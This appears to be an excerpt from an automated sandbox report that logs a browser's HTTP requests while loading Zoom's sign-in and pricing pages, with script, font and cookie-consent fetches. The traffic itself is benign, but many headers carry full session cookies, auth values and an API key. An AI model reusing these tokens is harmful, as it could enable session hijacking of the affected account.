__cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /docs/js/optimizely/optimizely.js HTTP/1.1Host: explore.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/all.min.js HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /fe-static/fe-signup-login-active/js/vendors~app.18712a4f.js HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /fe-static/fe-signup-login-active/js/zoomUI~app.15899df2.js HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /fe-static/fe-signup-login-active/js/app.1b7582a2.js HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/lib/vue/advanced/notification/notification.min.js HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /scripttemplates/otSDKStub.js HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /billing/basic/free_trial/condition_check?entryType=pricing%23pro HTTP/1.1Host: zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zoom.us/signinAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; ktlvDW7IG5ClOcxYTbmY=a; cred=B675A13A2871363297CB66A593A774F8; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af
Source: global traffic	HTTP traffic detected: GET /assets/zm_bundle.js?seed=AIDJ4paVAQAAhQlalrg5DRb1f7lDVl1uxfDRTPuL3_5cQYcztOS5IEigQOit&uQHR71Sqnk--z=q HTTP/1.1Host: zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/signinAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; ktlvDW7IG5ClOcxYTbmY=a; cred=B675A13A2871363297CB66A593A774F8; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af
Source: global traffic	HTTP traffic detected: GET /us01cci/web-sdk/chat-client.js HTTP/1.1Host: us01ccistatic.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af
Source: global traffic	HTTP traffic detected: GET /csrf_js HTTP/1.1Host: zoom.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; ktlvDW7IG5ClOcxYTbmY=a; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; cred=AD23FAA72F84DD62206955C13C6BE417; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA
Source: global traffic	HTTP traffic detected: GET /consent/b0bfa2ae-4058-4aef-8632-a5281ce4464a/b0bfa2ae-4058-4aef-8632-a5281ce4464a.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/geo4.js HTTP/1.1Host: cdn3.optimizely.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-detect.png HTTP/1.1Host: st2.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/fonts/news/almaden-sans/AlmadenSans-Regular-WebXL.woff2 HTTP/1.1Host: st3.zoom.usConnection: keep-aliveOrigin: https://zoom.ussec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://st3.zoom.us/static/6.3.32395/css/fonts/suisse.min.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/fonts/news/almaden-sans/AlmadenSans-SemiBold-WebXL.woff2 HTTP/1.1Host: st3.zoom.usConnection: keep-aliveOrigin: https://zoom.ussec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://st3.zoom.us/static/6.3.32395/css/fonts/suisse.min.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /client_storage/a20673560014.html HTTP/1.1Host: a20673560014.cdn.optimizely.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookieconsentpub/v1/geo/location HTTP/1.1Host: geolocation.onetrust.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: application/jsonsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /us01cci/web-sdk/cross-storage.html HTTP/1.1Host: us01ccistatic.zoom.usConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; optimizelyDomainTestCookie=0.11446199350072361
Source: global traffic	HTTP traffic detected: GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1Host: static.cloudflareinsights.comConnection: keep-aliveOrigin: https://a20673560014.cdn.optimizely.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://a20673560014.cdn.optimizely.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripttemplates/6.21.0/otBannerSdk.js HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /billing/basic/free_trial/condition_check?entryType=pricing%23pro HTTP/1.1Host: zoom.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; optimizelySession=1741993364965; cred=7DC84EBB355AB818E1773F00C9344743; _zm_cdn_blocked=unlog_unblk
Source: global traffic	HTTP traffic detected: GET /us01cci/web-sdk/web-campaign.js?env=us01&apikey=AM_FKF55QOG_vdWum455Vg&lazyLoadCampaignUrl=_blank HTTP/1.1Host: us01ccistatic.zoom.usConnection: keep-aliveOrigin: https://zoom.ussec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /consent/b0bfa2ae-4058-4aef-8632-a5281ce4464a/b0bfa2ae-4058-4aef-8632-a5281ce4464a.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
